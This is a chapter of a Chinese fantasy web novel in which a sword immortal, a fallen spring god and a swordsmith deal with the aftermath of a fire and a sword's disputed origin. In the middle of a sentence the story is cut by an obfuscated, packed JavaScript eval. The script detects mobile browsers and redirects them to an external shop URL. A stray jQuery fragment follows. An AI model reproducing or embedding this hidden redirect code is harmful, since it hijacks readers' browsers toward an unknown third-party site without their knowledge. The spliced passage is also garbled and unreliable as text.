果不其然,“霜暝”两个古篆被錾刻在了刃尖五寸,最后一笔被磨了下去,虽用了金晶修补,可到底色泽深浅有所不同,能够明显看出之前的痕迹。
“一位剑仙居然下降凡尘,难道是为了渡人而来?”林梵儿思路清奇,大胆猜测,指了指一旁的凌渊:“是为了渡他吗?”
风禹还没有想好怎么回答,凌渊率先开口,他面无表情道:“林姑娘,你想多了,我何需他渡。他也绝不是什么飞升的剑仙,千真万确只是步先贤后尘、寻踪蹑迹而已。这把剑也是仿造的,只不过仿造者虽然不知剑铭曾经有这样的缘故,但为了追求极致,自然也要做得十成逼真。如今看来这位铸剑师手艺真是非凡,连你都蒙混了过去。风……徐兄,你说是不是?”
风禹:“……是。”
林梵儿不肯放弃:“可是,这剑怎么看都和我家相传一模一样,我绝对不会看错。”
凌渊:“林姑娘,你还太年轻,技艺尚需磨炼,一时看错不必气馁,来日方长。”
他如此坚决,她开始怀疑起自己:“真是我看错了?”
眼看目的已经达到,凌渊顺势岔开话题:“你确定,我们三人要这样说话?”
的确,在场三人都凑不出一套完整干爽的衣服,他不提还好,一旦宣之于口,连风禹这种超凡出尘的剑仙,眼角都微微抽了一下。
看得出,林梵儿对风禹兴趣不减,凡人难觅仙踪,尤其是他还持有霜暝剑……的仿品。作为铸剑师,即使无法亲眼看到那把传奇仙剑,有此剑替代,也是三生有幸。
还有他们提到的,仿造此剑的铸剑师,她也十分神往,很想问问究竟是哪位隐世大家。
至于风禹那边,他也迫切地想要知道林氏用活人铸剑的内情,尤其对剑灵霜暝的过往有种执念,所以,他也没有离开的意思。
这二人倒是志趣相投。唯独凌渊,浑身湿透,站在这被烧穿了的危房之下,暗夜阴风阵阵,带来了浓烈的焦臭味,愈发深重地荼毒了他的鼻子。
“阿……阿嚏!阿嚏!!阿嚏!!!”他用湿漉漉还在滴水的袖子掩了掩口,心中,陡然升起一阵委屈。
——这都是什么事!
他现在是个孱弱的凡人,身患重疾,好好养着都不一定能够正寝天年。可这短短一夜之间,先是和魔物斗智斗勇、费心竭力,接着又被火烧、被水淹,眼下还被晾在这里,他们一个两个的,知不知道孰轻孰重,还有没有半点良心了?!!!
好在他连声的喷嚏终于引来了些动静,林梵儿看了他一眼,心生愧疚,对风禹说了声“稍等”,自己背过身打开了那只从不离身的乾坤囊。
这等法宝防火避水,一连几番折腾依旧光洁如新,自然把里面所盛之物护的严严实实。她摸索偏刻,取出了一件外披,把自己身上风禹的外袍替换了下来。
她拢好衣襟,物归原主,视线却落在一旁可怜兮兮的凌渊身上。于是她便不轻不重咳了一声,当做给风禹的提示。
有别于下凡历劫的倒霉的春神大人,风禹以仙身从白玉京而来,身上所穿都是天衣,论水火不侵,完胜凡间的一切俗物。所以这外袍虽在林梵儿身上披了一会儿,依旧一尘不染,半点水星都没有沾染上。他也没有嗜洁如命的执念,不嫌弃被人用过,立刻就披回了自己身上。
至于凌渊:“……”
只有他一人受苦挨冻的世界达成了。
说起来,他从棺材里出来刚刚一天,没来得及置备衣饰,只有一套换洗的衣服,还是从棺材里捡的陪葬。男女有别,他的东西自然不能放在林梵儿的乾坤囊里,所以之前被收在了房间里,现在毫无意外,已经化成了灰。
他鼻间一痒,接连又是几个响亮的喷嚏。然后,目光幽幽地看向林梵儿。
林梵儿下意识捂住了自己的乾坤囊,眸光闪烁,凌渊从中读出了她的意思:难道你想穿女装?
不到万一,自然绝对不行。
于是,他俩一起将目光投在了风禹身上。
这榆木疙瘩脑袋!被两道目光灼灼地将他望着,仍旧没有将外袍再度贡献出来的自觉。
凌渊:“……”
林梵儿:“……”
死一般的沉默之后,林梵儿终于于心不忍,咬了咬牙,挑拣一会儿,从乾坤囊中取出了一件赤焰一样色泽的披风,干巴巴地问凌渊:“你穿吗?”
凌渊亦是咬了咬牙,内心十分挣扎。
又是一阵阴风掠来,他浑身冷得发抖,寒意层层侵入,心口仿佛又钝痛了起来。
“穿!”最终,他从牙缝里挤出了这个字。
白玉京服色崇白,凌渊虽司掌姹紫嫣红的三春季,可在春神殿之外,他从来都是一袭白衣胜雪。
风禹这还是第一次见到他将这般灿烂的颜色穿上身,第一反应便是违和。
可这感觉不过刹那,他很快就将这样的凌渊看顺了眼,甚至觉得他似乎天生就应该匹配这样的颜色,才不负春神大人的俊逸与脱俗。
接下来,他们总算离开了那摇摇欲坠的卧房,来到院中暂时栖身。风禹也总算说出了他迟来相救的原因。
这位满心苍生的仙师果然把黎民百姓置于凌渊之上——他先是探明了火势,见烈焰冲天,几乎对小院成合围之势,且火龙翻卷,须臾之间便将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836761|211465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前后左右的几座小院一并吞入腹中。不由当机立断,召来井水灭火,又辅以灵力激发出了霜暝剑的极寒剑气,事半功倍,把邻里们全数从葬身火海的绝境之中拯救了出来。
为了隔绝火势,他甚至布下了笼罩整个院落的辟火结界,不惜把自己也封进了其中。
不过,虽然洞明练达一途上榆木不化,他于救人一道上却很有章法。因为林梵儿也是凡人,自然也在其援救之列,所以他片刻不敢耽搁,在结界合拢的刹那跳入院中后,立刻就把那块来不及送走的冰坨子派上了用场。
前面说过,不流之水乃世间至寒,引其寒气助力,他就可以不再消耗自身的灵力,才能在这么短时间内扑灭火势,相救凌渊及林梵儿了。
短——时——间?!
至于他再晚来一步,春神大人是失身还是失命,凌渊:呵呵。
这一夜真是精彩纷呈,好不喧阗,等到月落日升,这闹哄哄的中元夜终于落幕,林梵儿和凌渊才忽然意识到问题——
别的倒也算了,无论是诛魔还是中毒,都能从长计议。可现在这小院继雷劈之后又遭失火,烧成了这副满目焦土的模样,无论是官府还是宅主那边,怕是都很难交代了。
此外,不流之水事关重大,昨夜种种他们都是有目共睹,这种东西滞留人间遗祸无穷。尤其因为这山南属火,是不灭之火本源之地,与此物相克,多留一刻便会多一分变数,轻则大概会令时气紊乱,重则会致使天灾也说不定。
还有,林氏以人铸剑之事刚刚爆出,林梵儿又对风禹的身份存疑,于情于理,这个时候他们不适宜再深交。所以风禹只能先携不流之水离开此地,送往北渊安置,方为上策。
剑仙自然不会因私废公,对此绝无二话,立刻避开凡人耳目,御剑而起,很快就消失在巍巍苍穹之中。
林梵儿第一次见到这把“绝似”灵剑,不由心向往之,久久凝视着长剑飞去的方向,看得目不转睛。明白的,知道她是在看剑,不明白的,恐怕会以为她是被人折服。
等她终于低下头时,冷不防凌渊的声音恰在她耳边响起:“第一次见到这种云端上的风姿,舍得回魂了?!”
啧!这酸味四溢的语气是怎么回事?还有你什么时候站到我身后的?
林梵儿觉得好笑,隐约觉得,这位风仙师虽然是他口中的忘年交,可是凌渊对他总是含气带恼的,与他头顶这架虽然遭遇了火吻,枝干却只是微微焦黑,藤蔓卷须反倒支棱八叉扬起的模样很是相似。
她正想开口给他捋捋须子,没想到他看了一眼门外,幽幽道:“有人来了!”
林梵儿一惊。